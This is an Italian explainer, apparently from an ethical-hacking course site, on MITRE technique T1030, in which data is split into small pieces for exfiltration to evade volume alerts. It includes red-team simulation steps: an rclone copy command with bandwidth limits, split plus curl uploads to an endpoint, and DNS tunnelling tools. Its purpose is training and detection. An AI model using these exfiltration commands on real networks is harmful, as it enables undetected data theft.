Limiti Dimensione Trasferimento Dati: Data Transfer Size Limits (T1030)
La tecnica T1030 - Data Transfer Size Limits descrive un metodo di esfiltrazione in cui l'avversario, invece di trasferire interi file in un'unica sessione, suddivide i dati in blocchi di dimensione fissa oppure limita la dimensione dei pacchetti sotto determinate soglie. L'obiettivo è aggirare gli alert basati su soglie di volume che i sistemi di monitoraggio di rete generano quando osservano trasferimenti anomali verso l'esterno.
Questa tecnica appartiene interamente alla tattica TA0010 (Exfiltration), la fase finale della kill chain in cui l'attaccante estrae i dati raccolti dalla rete della vittima. Il frazionamento si combina spesso con compressione, cifratura e canali C2 alternativi per rendere l'operazione più silenziosa.
L'adozione è ampia e trasversale: i dati censiscono 5 gruppi APT, 14 software e 2 campagne che impiegano questa strategia. Le dimensioni dei chunk variano enormemente, da pochi byte incapsulati in query DNS fino a porzioni di centinaia di kilobyte trasferite via HTTP. Alcuni malware introducono anche randomizzazione delle dimensioni per rendere il pattern meno prevedibile.
L'impatto principale è la riduzione dell'efficacia del monitoraggio volumetrico: un'esfiltrazione da diversi gigabyte può passare inosservata se spalmata in migliaia di micro-trasferimenti che restano sotto la soglia di allarme configurata sui firewall e sulle sonde di rete.
Per simulare T1030 in un esercizio red team, l'obiettivo è dimostrare come il frazionamento eluda i controlli volumetrici, mantenendo l'esercizio lab-safe e concordato con il blue team.
Uno strumento di riferimento è Rclone (open source): l'overlay chunker consente di suddividere file di grandi dimensioni durante l'upload verso storage remoto. La configurazione avviene tramite rclone config creando un remote di tipo chunker che avvolge il backend di destinazione, impostando la dimensione del chunk. Per abbassare il profilo di rete si limita la banda con il flag --bwlimit, ad esempio:
rclone copy /data/exfil remote:bucket --bwlimit 1M
Questo replica fedelmente il comportamento osservato nella campagna C0015, dove gli attori limitarono la banda di Rclone durante l'esfiltrazione.
Sul fronte C2, Cobalt Strike (a pagamento) suddivide automaticamente grandi dataset in blocchi più piccoli per l'esfiltrazione, mentre il framework Mythic (open source) supporta chunk size personalizzabili per upload e download dei file, parametro utile per testare diverse soglie di detection.
Per un approccio a canale DNS, in laboratorio si può ricostruire il pattern di malware come Helminth o Kessel, che incapsulano dati in sottodomini di query DNS. Uno strumento adatto è dnscat2 (open source), che tunnelizza dati attraverso query DNS frammentandoli implicitamente nei limiti di lunghezza dei label DNS (massimo 63 caratteri per label). Alternativamente iodine (open source) crea un tunnel IP-over-DNS con dimensioni di frame configurabili.
Per un test manuale e didattico su Linux, si può frammentare un archivio con utility standard:
split -b 1M archivio.tar.gz chunk_
seguito da un invio sequenziale dei pezzi tramite curl verso un endpoint controllato, con pause per restare sotto le soglie temporali. Questo riproduce il pattern di APT28, che ha spezzato file di archivio in blocchi inferiori a 1MB, e di Turla in C0026, con parti da 3MB.
Su Windows, PowerShell permette di leggere e inviare porzioni di file tramite [System.IO.FileStream] con buffer di dimensione controllata, replicando chunk fissi come i 2048 byte di POSHSPY o i 1500 byte di OopsIE.
Durante l'esercizio, documentate accuratamente dimensione dei chunk, intervalli e protocollo scelto: sono proprio questi parametri che il blue team dovrà imparare a rilevare come deviazione dal baseline.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo